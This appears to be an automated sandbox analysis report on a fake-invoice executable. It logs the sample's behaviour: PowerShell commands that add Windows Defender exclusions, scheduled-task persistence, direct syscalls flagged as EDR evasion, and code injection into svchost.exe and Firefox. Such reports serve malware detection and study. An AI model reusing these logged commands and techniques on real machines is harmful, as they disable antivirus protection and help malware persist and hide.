Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtResumeThread: Direct from: 0x773836AC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtMapViewOfSection: Direct from: 0x77382D1C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtWriteVirtualMemory: Direct from: 0x77382E3C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtSetInformationThread: Direct from: 0x773763F9	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtCreateMutant: Direct from: 0x773835CC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtNotifyChangeKey: Direct from: 0x77383C2C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtSetInformationProcess: Direct from: 0x77382C5C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtCreateUserProcess: Direct from: 0x7738371C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtQueryInformationProcess: Direct from: 0x77382C26	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtResumeThread: Direct from: 0x77382FBC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtWriteVirtualMemory: Direct from: 0x7738490C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtAllocateVirtualMemory: Direct from: 0x77383C9C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtReadFile: Direct from: 0x77382ADC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtDelayExecution: Direct from: 0x77382DDC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtQuerySystemInformation: Direct from: 0x77382DFC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtOpenSection: Direct from: 0x77382E0C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtQuerySystemInformation: Direct from: 0x773848CC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtCreateKey: Direct from: 0x77382C6C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtReadVirtualMemory: Direct from: 0x77382E8C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtAllocateVirtualMemory: Direct from: 0x773848EC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtQueryAttributesFile: Direct from: 0x77382E6C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtSetInformationThread: Direct from: 0x77382B4C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtQueryInformationToken: Direct from: 0x77382CAC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtOpenKeyEx: Direct from: 0x77382B9C	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtAllocateVirtualMemory: Direct from: 0x77382BEC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtCreateFile: Direct from: 0x77382FEC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtOpenFile: Direct from: 0x77382DCC	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	NtTerminateThread: Direct from: 0x77377B2E	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: NULL target: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\svchost.exe

Thread register set: target process: 3048

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dpqsbGoWdXlp" /XML "C:\Users\user\AppData\Local\Temp\tmp68D8.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Process created: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe "C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dpqsbGoWdXlp" /XML "C:\Users\user\AppData\Local\Temp\tmp9353.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process created: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe "C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe"	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\SysWOW64\svchost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: IEFVDUdSaLLhw.exe, 0000000D.00000002.4577482168.00000000010B1000.00000002.00000001.00040000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000000.2216481367.00000000010B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: IEFVDUdSaLLhw.exe, 0000000D.00000002.4577482168.00000000010B1000.00000002.00000001.00040000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000000.2216481367.00000000010B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: IEFVDUdSaLLhw.exe, 0000000D.00000002.4577482168.00000000010B1000.00000002.00000001.00040000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000000.2216481367.00000000010B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: IEFVDUdSaLLhw.exe, 0000000D.00000002.4577482168.00000000010B1000.00000002.00000001.00040000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000000.2216481367.00000000010B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Queries volume information: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
